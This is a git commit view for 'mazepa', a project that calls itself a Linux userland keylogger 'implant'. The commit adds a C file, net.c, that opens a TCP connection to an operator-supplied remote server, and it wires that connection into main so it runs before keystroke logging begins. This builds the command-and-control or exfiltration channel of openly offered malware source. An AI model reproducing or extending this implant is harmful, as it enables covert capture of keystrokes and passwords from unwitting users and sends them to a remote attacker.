mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 7a1e099088d862c2a711e349f4c5cb0bec17942e
parent 096a86af6c0b9e96e9f355907789920a6be08acd
Author: winds0r <[email protected]>
Date: Tue, 13 Jun 2023 15:14:46 +0900

feat(implant): adding simple function to connect to remote server

Diffstat:
Mimplant/Makefile | 4++--
Mimplant/includes/implant.h | 3+++
Mimplant/sources/main.c | 5+++++
Aimplant/sources/net.c | 82+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

4 files changed, 92 insertions(+), 2 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -16,7 +16,7 @@ ifeq ($(MAKECMDGOALS), debug)
 	CFLAGS 			+= -g3 -DDEBUG
 else
 	CFLAGS 		 	+= -Wall -Wextra -O2 -Weverything -Wpedantic
-	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments
+	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
 endif
 
 
@@ -28,7 +28,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= opt.c utils.c keyboard.c logger.c
+SRC 		 	= opt.c utils.c keyboard.c logger.c net.c
 
 ########################
 #### COMPILATION #######
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -71,6 +71,9 @@ typedef struct implant_s {
 #define KEY_PRESSED 1
 #define KEY_RELEASED 0
 
+// net.c
+int init_remote_connection(implant_t *);
+
 // opt.c
 int parse_user_input(int, char **, implant_t *);
 
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -25,6 +25,11 @@ int main(int ac, char **av) {
 #endif
 
     fetch_available_keyboards(&instance);
+
+    int sockfd = init_remote_connection(&instance);
+    if (sockfd < 0)
+        return 1;
+
     keylog(&instance);
     return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -0,0 +1,82 @@
+
+/*
+    this file holds all of the functions needed for communicating with the
+    remote server
+
+
+*/
+
+
+#include <sys/socket.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <stdio.h>
+#include <errno.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+int init_remote_connection(implant_t *instance) {
+
+#ifdef DEBUG
+    DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
+#endif
+
+    /*
+       creating initial socket...
+
+       AF_INET          -> remote connection    (for local, use AF_UNIX)
+       SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
+       IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
+
+    */
+    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+    if (sockfd < 0) {
+
+#ifdef DEBUG
+        perror("socket");
+#endif
+
+        close(sockfd);
+        return -1;
+    }
+
+    /* items required to bind socket to remote address */
+    int is_enabled = 1;
+    struct sockaddr_in addr = {
+        .sin_family = AF_INET,
+        .sin_port = htons(instance->port),
+        .sin_addr.s_addr = inet_addr(instance->ip)
+    };
+
+
+    /* setting socket options to make connection more convenient */
+    if (setsockopt(
+            sockfd,
+            SOL_SOCKET,
+            SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT (useful for testing) */
+            &is_enabled,
+            sizeof(int)
+        ) < 0) {
+
+#ifdef DEBUG
+        perror("setsockopt");
+#endif
+
+        close(sockfd);
+        return -1;
+    }
+
+    /* connecting to remote server */
+    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+
+#ifdef DEBUG
+        perror("setsockopt");
+#endif
+
+        close(sockfd);
+        return -1;
+    }
+
+    return sockfd;
+}